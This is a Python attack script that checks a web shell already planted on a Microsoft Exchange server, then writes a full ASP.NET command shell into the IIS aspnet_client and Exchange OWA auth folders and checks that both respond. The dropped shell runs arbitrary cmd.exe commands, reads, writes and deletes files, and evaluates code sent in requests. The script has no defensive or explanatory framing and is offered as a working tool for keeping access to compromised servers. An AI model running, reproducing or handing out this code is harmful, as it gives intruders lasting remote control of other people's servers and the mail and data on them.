#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Generic: verify eval shell (PWN|) then drop a clean 1254B command shell to given paths."""
import sys, base64, requests, urllib3
urllib3.disable_warnings()

CLEAN = r'''<script language="JScript" runat="server" Page aspcompat=true>function run(c){try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="C:\\Windows\\System32\\cmd.exe";p.StartInfo.Arguments="/c "+c;p.StartInfo.UseShellExecute=false;p.StartInfo.RedirectStandardOutput=true;p.StartInfo.RedirectStandardError=true;p.Start();var o=p.StandardOutput.ReadToEnd()+p.StandardError.ReadToEnd();p.WaitForExit();return o;}catch(e){return "EXC:"+e.message;}}function Page_Load(){var o="";try{var c=Request["cmd"];if(c!=null){o+=run(c);}var r=Request["rf"];if(r!=null){o+=System.IO.File.ReadAllText(r);}var l=Request["lf"];if(l!=null){var d=new System.IO.DirectoryInfo(l);var fs=d.GetFileSystemInfos();for(var i=0;i<fs.Length;i++){o+=fs[i].FullName+"|"+fs[i].LastWriteTime.ToString()+"\r\n";}}var w=Request["wf"];if(w!=null){var b=Request["b64"];if(b!=null){System.IO.File.WriteAllBytes(w,System.Convert.FromBase64String(b));o+="WROTE:"+w;}}var x=Request["del"];if(x!=null){System.IO.File.Delete(x);o+="DEL:"+(!System.IO.File.Exists(x));}var z=Request["z"];if(z!=null){eval(z,"unsafe");}}catch(e){o+="ERR:"+e.message;}if(o==""){o="OK|"+System.Environment.UserName+"|"+System.Environment.MachineName+"|"+System.Environment.OSVersion;}Response.Write(o);}</script>'''

VERIFY = 'Response.Write("PWN|"+System.Environment.UserName+"|"+System.Environment.MachineName+"|"+System.Environment.OSVersion);'

def post(sess, url, code):
    r = sess.post(url, data={"exec_code": code}, timeout=40, verify=False,
                  headers={"Content-Type": "application/x-www-form-urlencoded"})
    return r.status_code, r.text[:200]

def main():
    host = sys.argv[1]
    shell = sys.argv[2]           # e.g. /owa/auth/iolrnc.aspx
    url = "https://%s%s" % (host, shell)
    s = requests.Session()
    code, txt = post(s, url, VERIFY)
    print("VERIFY", host, code, txt.replace("\n", " ")[:120])
    if "PWN|" not in txt[:120]:
        print("ABORT: eval shell not alive")
        return
    b64 = base64.b64encode(CLEAN.encode()).decode()
    targets = [
        r"C:\\inetpub\\wwwroot\\aspnet_client\\c.aspx",
        r"C:\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\c.aspx",
    ]
    for t in targets:
        js = 'var b="%s";System.IO.File.WriteAllBytes("%s",System.Convert.FromBase64String(b));Response.Write("WROTE:"+"%s");' % (b64, t, t)
        c, o = post(s, url, js)
        print("DROP", c, o.replace("\n", " ")[:100])
    for p in ["/aspnet_client/c.aspx", "/owa/auth/c.aspx"]:
        try:
            r = s.get("https://%s%s" % (host, p), timeout=30, verify=False)
            body = r.text[:90].replace("\n", " ")
            if r.status_code == 500:
                import time; time.sleep(4)
                r = s.get("https://%s%s" % (host, p), timeout=30, verify=False)
                body = r.text[:90].replace("\n", " ")
            print("CHECK", p, r.status_code, body)
        except Exception as e:
            print("CHECK", p, "ERR", str(e)[:80])

main()
